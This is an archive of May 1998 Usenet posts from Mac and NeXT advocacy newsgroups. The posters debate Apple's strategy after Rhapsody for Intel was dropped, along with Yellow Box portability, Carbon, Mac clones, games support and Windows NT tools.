Why run out and extend older code (that was never meant to be run
preemptively) when you've already got functioning modern code? Esp when
it's easier to support? Why kill the future to make the next two years a
bit easier (and I'm not convinced that it will make life easier for Apple,
I think it'll be a support headache of the first order).
So, what's the case for of using Carbon in the OS X finder? I get the
feeling that I may have lost a wing-nut or two and I've gone off the
Lawson end here. If so, someone let me know so I can seek therapy!
--
Ted Brown tbrown@netset.com
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 22 May 1998 00:45:28 GMT
Organization: Cygnus Solutions
Message-ID: <6k2hr8$5o7$4@cronkite.cygnus.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM>
<6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM>
<6k26h6$5o7$3@cronkite.cygnus.com> <3564AE23.3777@CONVEX.COM>
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Cc: MJPECK@CONVEX.COM
In <3564AE23.3777@CONVEX.COM> Michael Peck wrote:
>
> > Do they need to be any more explicit than the mklinux project they
already
> > support?
>
> I don't mean "Apple support Linux", I mean "Rhapsody support Linux".
> That means Yellow Box for Linux, QuickTime for Linux, and maybe even
> WebObjects for Linux.
>
> I'll bet you a hundred dollars *somebody* at Apple spent 20 hours and
> ported basic QuickTime services to Linux already.
>
I couldn't agree more. Yellow Box needs to be _everywhere_, and Linux is a
great place to start. Sign a deal with Redhat and/or Caldera to ship it with
their packages. It will allow people like Applix to write their apps for
linux and yet still have the opportunity to deploy them on Windows to capture
that income. I think it would be a great move to capturing support in the
Linux community for YB. And that can only be a good door to have your foot
in.
If it was me who was making the decisions, I wouldn't wait for a compelling
reason to port YB to various boxes. I would port YB everywhere and
sell/distribute it everywhere, and wait for compelling reasons (like lack of
adoption) to put each platform into maintenance mode.
It _would_ cost a bit more up front, but I think it adds perfectly to the
Openstep and Yellow Box concept of "you can deploy these apps EVERYWHERE" if
YB is already there to deploy to. Otherwise, the concept is merely "the
technology supports the idea of porting it everywhere, but currenly it only
deploys on 1) windows, 2) a dead OS, 3) an OS percieved by the industry to be
dying, and 4) an OS that no longer supports it." (those would be
nextstep/openstep-for-mach, macos, and solaris, respectively). To a
conservative development company, that means "windows". Why convert to YB
when you can keep using the existing windows API your code is already written
in? That's not really a very compelling reason to adopt a new API :-} (and,
unfortunately, the ease of YB programming is one of those 'enlightenment'
kinda things, in that you must experience it to understand it.. it's just not
something that is easily explained)
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Kiss of Death
Date: 22 May 1998 01:30:00 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd8521$0d6dda40$04387880@test1>
References: <y_291.1281$Kx3.1887112@news.rdc1.sdca.home.com>
> breath... Oops. It looks like they've chosen to spin the Apple comeback story
> as 1984 over again. Well true to form they've found the negative spin on
> Apple.
> http://www.businessweek.com/1998/21/b3579156.htm
Actually, I didn't think it was so bad. They have a responsibility to
do some level of analysis (e.g., many trade journal spout whatever
Microsoft tells them), and they made some good points.
I thought they may some good points - e.g., the Internet Mac (iMac) has a
relatively slow modem for accessing the Internet! Seems kind of ironic.
In short, Apple's future looks much better today than it has in a while,
but it still has some tough hurdles ahead of it.
Todd
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: Thu, 21 May 1998 20:47:48 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6k2ljs$a9s2@odie.mcleod.net>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at> <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com> <355af7e5.0@206.25.228.5> <355B49C0.10D34097@unet.univie.ac.at> <355b5409.0@206.25.228.5> <6jfkuq$gn2$1@cronkite.cygnus.com> <355B6B90.AD8F648F@milestonerdl.com> <SCOTT.98May21114105@slave.doubleu.com> <6k2hgk$6dg$9@blue.hex.net>
Display Postscript has always been executed in a server process (The window
server) on NeXtstep/Openstep/Rhapsody. Issues like PSWraps and user paths
do muddy the waters though.
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Procrastination pays: Yellow Box to join Newton
Date: Thu, 21 May 1998 20:44:10 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6k2ld2$a9s1@odie.mcleod.net>
References: <laranzu-1905982220120001@dd197.spirit.net.au> <6jppu9$rha$1@crib.bevc.blacksburg.va.us> <laranzu-2205982036490001@dd240.spirit.net.au>
Hugh Fisher wrote in message ...
> Very true, and in fact I'm more optimistic about YellowBox since I've
> seen the StepWise stuff about Rhapsody for Intel being dead. Now there
> will presumably be a Win95/NT version using Windows look and feel, and
> a MacOS X version built on Carbon. A cross-platform MacApp.
>
> Hugh
YellowBox (Formerly Openstep) has always had the Windows look and feel on
Win95/NT. It has been cross platform since 1993. The relation to MacApp is
absurd. MacApp is a toy in comparison.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 21 May 1998 19:06:09 -0700
Message-ID: <see-below-2105981906100001@209.24.241.47>
References: <joe.ragosta-2105980831500001@wil111.dol.net> <B189AF72-1DB71@206.165.43.125> <joe.ragosta-2105981340080001@wil125.dol.net> <see-below-2105981612370001@209.24.241.47> <joe.ragosta-2105982051550001@elk126.dol.net>
In article <joe.ragosta-2105982051550001@elk126.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <see-below-2105981612370001@209.24.241.47>,
> see-below@not-my-address.com (Matthew Vaughan) wrote:
>
> > Motorola's clone sales had been growing rapidly, and with ultra-fast
> > machines (faster than what Apple is offering even today) combined with OS
> > 8, they probably felt they could start taking a bite out of Intel's hide
> > for once.
>
> None of which supports Lawson's assertion that IBM or Motorola would have
> moved any faster if there were more vendors.
You're saying that Motorola's ability to sell their own computers using
their own chips wouldn't have been a reason for them to ramp up chip
production?
> > Considering how slowly Apple adopted the fastest available G3 processors,
> > I think Motorola had reason to slow down their chip production plans
> > (until Apple finally placed a large order for G3 chips, that is).
>
> Wait a second. Apple released the G3/300 within weeks of the announcement
> that G3/300 chips existed. The 9600 and 8600 machines with Mach5
> processors were also released within weeks of chip announcements. How much
> faster do you want Apple to move?
What reason would Mot and IBM have for announcing a chip speed way before
Apple is ready to use it, if Apple is their only customer for those chips?
In fact, I wouldn't be surprised if they delayed those announcements _at
Apple's request_.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: tom@basil.icce.dev.rug.null.nl (Tom Hageman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: 22 May 1998 01:57:25 GMT
Organization: Warty Wolfs
Sender: news@basil.icce.dev.rug.null.nl (NEWS pusher)
Message-ID: <EtC00x.9EG@basil.icce.dev.rug.null.nl>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <joe.ragosta-1905982053010001@elk125.dol.net> <6jtlb0$dc7$3@nntp2.ba.best.com> <199805212152591422764@[193.216.37.99]>
tsivertsen@mail.c2i.net (Thomas Sivertsen) wrote:
> Read the above... BTW; telnet is "built-in" on NT...
BWAAAA HA HA HA HA...
(Sorry 'bout that. I just had the "pleasure" of having to work with NT's
incredibly primitive telnet client. Broken vt100 emulation. It doesn't even
save its options, so you're forced to re-set them every time you open a new
telnet window if you want anything other than 25x80 (Though I'm sure someone
now tells me how to find the obscure setup panel. Don't you love setup
separate from applications themselves?-). The completely gratuitous scrollbars
it adds when you make it bigger, forcing you to manually shrink and resize the
window _to the exact same size it had before_ to get rid of them. It does not
report the actual window size to other side. You cannot make it wider than 80
columns. Did I mention its broken vt100 emulation?)
Anyway I feel a lot better now since I wheeled in my OPENSTEP box running
Terminal.app (well, Stuart actually;-), thank you very much.
> There are also many
> NFS implementations on NT (even free I think). OpenNT is no solution if
> you want real UNIX, just if you want some sort of compatibility and you
> are willing to compromise. It`s a migration tool, PERIOD.
>
> There are better alternatives than telnet, btw. Check out NSHosting...
But don't wait too long, since Apple intends to kill NSHosting in MacOS X...
---
__/__/__/__/ Tom Hageman <tom@basil.icce.dev.rug.null.nl> [NeXTmail/Mime OK]
__/ __/_/ IC Group <tom@dev.icgroup.null.nl> (work)
__/__/__/ <<SPAMBLOCK: remove .dev and .null to reply>>
__/ _/_/ Confused? You will be after the NeXT episode.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 21 May 1998 18:58:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18A29CF-2464B@206.165.43.138>
References: <joe.ragosta-2105982051550001@elk126.dol.net>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Joe Ragosta <joe.ragosta@dol.net> said:
>The only evidence available was from Steve Jobs. He claimed that 99% of
>PCC's customers were Mac users already. You may not believe him, but that
>is the only available evidence.
There's a reason why he's called "reality distortion field," you know...
I will agree, however, that the vast majority of PCC's customers were
2nd-time MacOS customers, but there's an issue that you are missing here:
many government and private agencies MUST purchase computers with more than
one possible hardware vender. If Apple completely kills all clone-makers
(i.e. UMAX), then they CANNOT sell Macs to these markets unless there is a
compelling reason to override the rules.
APple doesn't offer such a compelling reason in the minds of most MIS
people, no? So, by killing cloning, they are only shooting themselves in
the foot.
And with a shotgun.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Thu, 21 May 1998 19:17:43 -0700
Message-ID: <see-below-2105981917430001@209.24.241.47>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net>
In article <6k1moi$sp3$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <35649582.1F55@CONVEX.COM> Michael Peck claimed:
>
> > 2) Yellow Box for other platforms
>
> Yes, but to what degree is another issue entirely, and those companies hate
> competition on THEIR OS's. Solaris was a particular political expediency
> that's unlikely to ever happen again,
I'm not sure. While I certainly don't know if this has a future, I don't
see what the problem would be. Sun would still benefit from a larger
selection of applications that run on Solaris, and if indeed Yellow Box
can be aligned with Java, that could benefit Sun as well: Java becomes
richer, and closer to fulfilling its promise as a widely-adopted
API/language for rich application development.
> Then there's the issue of what this gets Apple. With all of these other
> than Mac and Win, the platforms aren't being used for application development
> anyway (not in the Mac/Win sense of app anyway). How many more customers
> this would get for the API is questionable, while at the same time this is
> likely to do little for their mindshare in the Win world either. All the
> Unix developers in the world going Yellow could influence only a tiny
> minority of the overall market, because the overall market is Win and they
> likely don't listen.
Hmm. But they _will_ notice, as soon as all those "unix" applications
suddenly run on Windows! Besides, why would Apple care _where_ the
applications came from, so long as they're expanding the number available?
I just see that developers on minority platforms have much more incentive
to adopt a cross-platform API than Windows developers do.
> > 1) Buy a small computer game developer
>
> This is my single biggest fear right now, the games issue. I really really
> think Apple doesn't get it in this area. They keep talking to THEIR
> developers about making RAVE better or some update to SoundSproket, but they
> don't seem to be talking to anyone else about the issue, and when it comes
> right down to it there are no games on the Mac any more.
>
> Heretical statement follows:
>
> I think Apple would do considerably more for games on the Mac with a crappy
> port of DirectX than they would with the best 3D engine in the world.
Hmm. Possibly, though Wintel game developers also seem to be split between
OpenGL and Direct3D. I think there's still time to influence this issue,
and sway more toward OpenGL (which even Microsoft is supporting more, in
Farenheit). I still think OpenGL is a better choice, even for games. Of
course, Apple hasn't made any announcements yet in this direction, either,
but I have hope this is what they're doing.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 21 May 1998 19:07:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18A2C02-2CA97@206.165.43.138>
References: <tbrown-2105982058470001@mv098.axom.com>
nntp://news.primenet.com/comp.sys.mac.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Ted Brown <tbrown@netset.com> said:
>The question is why bother with a 'single code base' between the finders
>for OS 8 and OS X using Carbon when a Carbon Finder under OS 8 doesn't
>seem to offer any advantages over the current OS 8 Finder? Anyone care to
>tell me how a Carbon OS 8 Finder will be better than the existing OS 8
>Finder?
>
>If it's no better, then a 'single code base' really isn't that important,
>the Finder for OS 8/9 is pretty clearly near the end of it's life, and
>Apple will put it in maintenace mode to focus on the future, OS X. I
>know that the OS 8 has some improvments coming, but they are already in
>the pipeline (ie carbonizing it will only slow down the work).
>
Are you sure? OS 9 hasn't even been announced yet. Apple may test the
waters with OS X and if there are not a enough takers, they'll likely
produce a more slim version called "OS 9" (recall W95=>W98=>WNT
transitional period) as a way of providing more services while still not
requiring that everyone migrate to OS X.x overnight.
Under THAT scenario, a Carbon Finder definitely makes sense.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Thu, 21 May 1998 19:20:20 -0700
Message-ID: <see-below-2105981920210001@209.24.241.47>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <6k2bte$72e$1@crib.bevc.blacksburg.va.us>
In article <6k2bte$72e$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <6k1moi$sp3$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>
> > This is my single biggest fear right now, the games issue. I really
really
> > think Apple doesn't get it in this area. They keep talking to THEIR
> > developers about making RAVE better or some update to SoundSproket,
but they
> > don't seem to be talking to anyone else about the issue, and when it comes
> > right down to it there are no games on the Mac any more.
>
> Indeed. Apple doesn't seem to be taking games seriously enough, which
> is surprising.. their own "Consumer Market Strategies" session indicated
> that "Entertainment" is the largest "plan to purchase in 1998" category.
> I also know that PC games are a large reason I'm finding it difficult
> to convince some of my Linux friends to go Mac. They think Rhapsody
> is great technology and all, and are open to using it instead of Linux,
> but don't want to give up the games on their DOS/Windows dual-boot
> systems.
Yes, and this is shown most dramatically by the iMac, which has a "3D
accelerated" graphics chipset which is almost 100% useless for games. If
Apple can't even take games into account in such a "fun"
consumer-oriented, high-powered, forward-looking computer, where _will_
they start taking games seriously?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Thu, 21 May 1998 19:23:44 -0700
Message-ID: <see-below-2105981923440001@209.24.241.47>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <3564A983.1DE3@CONVEX.COM>
In article <3564A983.1DE3@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
> I spoke yesterday with a company that wants to port a proprietary
> middleware layer to platforms other than Solaris and HPUX (where it
> currently runs), for many reasons. They want a platform they can deploy
> *everywhere*, not just *somewhere*. They are targeting Linux and Windows
> NT equally. To them, NT is just another platform. To them, Linux is just
> another platform. There's no Evil Empire concept, just a bunch of
> platforms they feel are important to their business.
Yes! This is exactly where I thought Apple should be concentrating Yellow
Box first. These developers _need_ and _want_ something like Yellow Box,
and it would clearly be to their immediate benefit to adopt it, whereas
most Wintel developers couldn't give a rats ass about it - they already
have 90% of the market.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Thu, 21 May 1998 19:46:43 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-2105981946430001@user-38ld614.dialup.mindspring.com>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <6jsa2r$u82$1@crib.bevc.blacksburg.va.us> <markeaton-1905982112330001@user-38ld608.dialup.mindspring.com> <6k1p6t$lsj$1@nnrp1.dejanews.com>
In article <6k1p6t$lsj$1@nnrp1.dejanews.com>, anders@common.se wrote:
> In article <markeaton-1905982112330001@user-38ld608.dialup.mindspring.com>,
> markeaton@mindspring.canned-meat-filter.com (Mark Eaton) wrote:
>
> > Alii are actually quite powerfull. I won't get into a religious debate
> > with Unix-heads. Wait and see what MacOS X gives you before writing it
> > off.
>
> Diagnose me as anal, but "alias" has no latin plural. It's an adverb (at
> another time), like alibi (in another place). The plural of the English noun
> is aliases.
ok, you're anal :-)
actually, its an old Mac joke.
> I won't get into the religious debate either :-)
>
> > Additionaly, as was stated at the Core OS: File Systems talk, MacOS X will
> > have support for volume formats other than HFS+.
>
> Is this restricted to YB/BSD?
I'm not promising anything, but MacOS *today* can read non HFS volumes.
-mark
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
MIME-Version: 1.0
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References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM>
<6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM>
Message-ID: <MU591.1314$Kx3.1969469@news.rdc1.sdca.home.com>
Date: Fri, 22 May 1998 03:02:04 GMT
NNTP-Posting-Date: Thu, 21 May 1998 20:02:04 PDT
Organization: @Home Network
AND my KEEPERS ARE:
In <35649582.1F55@CONVEX.COM> Michael Peck wrote:
> Maury Markowitz wrote:
> > They ARE winning it in some limited places, notably QuickTime. Can they
> > win it more widely? Hmmm, only with good developer marketing.
>
> Yes, without a doubt. No, marketing isn't the only piece to the puzzle.
> Doing the obvious things is the biggest part.
>
> What are the obvious things?
>
> 1) X server
> 2) Yellow Box for other platforms
> 3) QuickTime on *more* platforms
> 4) Explicit and unwavering support for Windows NT
> 5) Bandwagon: LDAP, Java, etcetera
> 7) Joining the OpenGL ARB (see #5)
>
> Obvious things that will probably get me into trouble here:
>
> 3) A big, fat, public Java deal with Sun
> 4) A new CEO
>
> Crazy, wacked-out ideas:
>
> 3) Find a PDA manufacturer to endorse
> 4) Announce support for wireless communications in the OS
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
MIME-Version: 1.0
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References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM>
<6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM>
<6k1moi$sp3$1@ns3.vrx.net> <3564A983.1DE3@CONVEX.COM>
<see-below-2105981923440001@209.24.241.47>
Message-ID: <ju691.1322$Kx3.1987102@news.rdc1.sdca.home.com>
Date: Fri, 22 May 1998 03:42:07 GMT
NNTP-Posting-Date: Thu, 21 May 1998 20:42:07 PDT
Organization: @Home Network
In <see-below-2105981923440001@209.24.241.47> Matthew Vaughan wrote:
> In article <3564A983.1DE3@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM>
wrote:
>
>
> > I spoke yesterday with a company that wants to port a proprietary
> > middleware layer to platforms other than Solaris and HPUX (where it
> > currently runs), for many reasons. They want a platform they can deploy
> > *everywhere*, not just *somewhere*. They are targeting Linux and Windows
> > NT equally. To them, NT is just another platform. To them, Linux is just
> > another platform. There's no Evil Empire concept, just a bunch of
> > platforms they feel are important to their business.
>
> Yes! This is exactly where I thought Apple should be concentrating Yellow
> Box first. These developers _need_ and _want_ something like Yellow Box,
> and it would clearly be to their immediate benefit to adopt it, whereas
> most Wintel developers couldn't give a rats ass about it - they already
> have 90% of the market.
>
>
Is it...? I got the impression that SJ has been there done that. After 10
years telling, building and pushing cross-platform development tools, SJ is
out of the that business. I get the impression SJ is listening, engineering
and marketing what developers have long been asking. If it is YB they want,
they will get it. If it is cross-platform they want they will get that too.
..you know squeaky wheel gets the grease first? Apple's concentrating there
first it looks.
-r
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 21 May 1998 23:48:12 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6k2sok$l4r$3@strato.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981 <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net>
Joshua T. McKee wrote in message ...
>In article <6k1862$vn6$3@strato.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>
>> I meant, "why can't Netscape implement the interfaces Microsoft has
defined,
>> so that third party vendors can get the benefit of Netscape's
technology".
>
>
>You're still not clear...do you mean why doesn't Netscape use the API's
>Microsoft has provided and use them in its web browsers? Or why doesn't
>Netscape come up with their own API's like Microsoft has done?
>
>Josh
I forget not everyone reading this is a programmer familiar with COM.
At its core, COM is very bare-bones. When a program is given a pointer to an
interface, the program can call on the functions provided by that interface,
GoBack, for instance.
However, it doesn't matter what piece of code implements that interface. A
program calling the methods of the interface just can't tell. This means
that Netscape could turn itself into "the code that implements IWebBrowser".
No one would be able to tell the difference, as long as Netscape implements
the interface correctly.
In fact, Microsoft's new shell should not be able to tell the difference.
John Saunders
jws@jws.ultranet.com
From: aa829@ccn.cs.dal.ca (Charlie Mingo)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 22 May 1998 00:35:04 -0400
Organization: PANIX Internet and Unix, NYC
Message-ID: <aa829-2205980035050001@port9.dialb2.gain-ny.com>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104> <6jpu6k$rps$1@crib.bevc.blacksburg.va.us> <see-below-1805981711480001@209.24.240.36> <ericb-2005981944160001@132.236.171.104> <aa829-2105981528170001@port24.dialb2.gain-ny.com> <6k2dk9$o13$1@news.idiom.com>
Mail-Copies-To: always
In article <6k2dk9$o13$1@news.idiom.com>, jcr.remove@this.phrase.idiom.com
wrote:
> On thing that *could* happen is that Rhapsody/Intel might continue to
> be starved for drivers for the latest spiffy add-ons.
Earlier in the same talk, Bertrand was listing "OS Improvements in DR2"
when he said...
"We also have this great framework to write drivers. It's really
important in the Intel space to be able to write drivers fast
because the Intel space is crazy about drivers. There is a new
driver appearing every minute, probably.
"So we are not turning drivers out at that rate, but nevertheless
we wanted to have the ability to have a lot of drivers, and to do
that we have this object-oriented framework which enables us to
sub-class and inherit most of the behaviors, because most drivers
are not very different from each other."
I don't know if this driver framework is something completely new, or just
new to DR2.
Rgds
--
mingo "at" panix "dot" com
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 00:58:44 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-2205980058440001@192.168.0.3>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net>
In article <6k1moi$sp3$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
:Compaq owns them. SGI is an interesting possibility though, as I've noted
:before, and Linux/someBSD even more so.
Just as an aside. Rumors have it that SGI's new NT boxes have twice the
graphics performance of their O2s and will priced more competitively. If
these claims are true, Apple is just doomed in the 3D arena. Am I the only
one who noticed (and is very worried) that there were no significant WWDC
announcements about 3D?
-Eric
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <356334fd.0@206.25.228.5> <35634FEE.14EC681@milestonerdl.com> <3563c5b1.0@206.25.228.5> <6k1gn1$po4@nntp02.primenet.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <356505ab.0@206.25.228.5>
Date: 22 May 98 04:57:15 GMT
John Jensen <jjens@primenet.com> wrote:
> John Kheit <jkheit@xtdl.com> wrote: : > Because Apple had said
> in public forums there WOULD be a RhapTel. : > No statements
> about how LONG it would be around tho.
> : > > It's idiocy. : > Not at all.
> : So why make the idiot mistake of promising in the first place
> so : you'd be forced into maintaining a product for no reasons
> other : than keeping a dumb promise and wasting money on that?
> Either way, : early on, or later, a dumb move was made.
> Steve didn't promise it. Previous management did. Steve has
> been slowly changing course since he took over. It is possible
If I recall he had his share of expect to see it. And then he
"changed course" on everyone. Nothing at all new for sj.
> : Pre announcing the death of a product that may have proven
> successful : always seems like a stupid move.
> Is Steve stupid? No ... then what is his plan?
It's difficult to say with any certainty simply b/c we don't have
all the same info he has. But in my way of looking at things,
anyone who repeats the same mistakes OVER AND OVER is stupid. SJ
at least on the surface seems to do just that. Now of course,
there maybe some "secret" stuff/info we don't know about that may
make these things just *look* like he's repeating mistakes when
infact they are the smartest moves possible. I don't know for
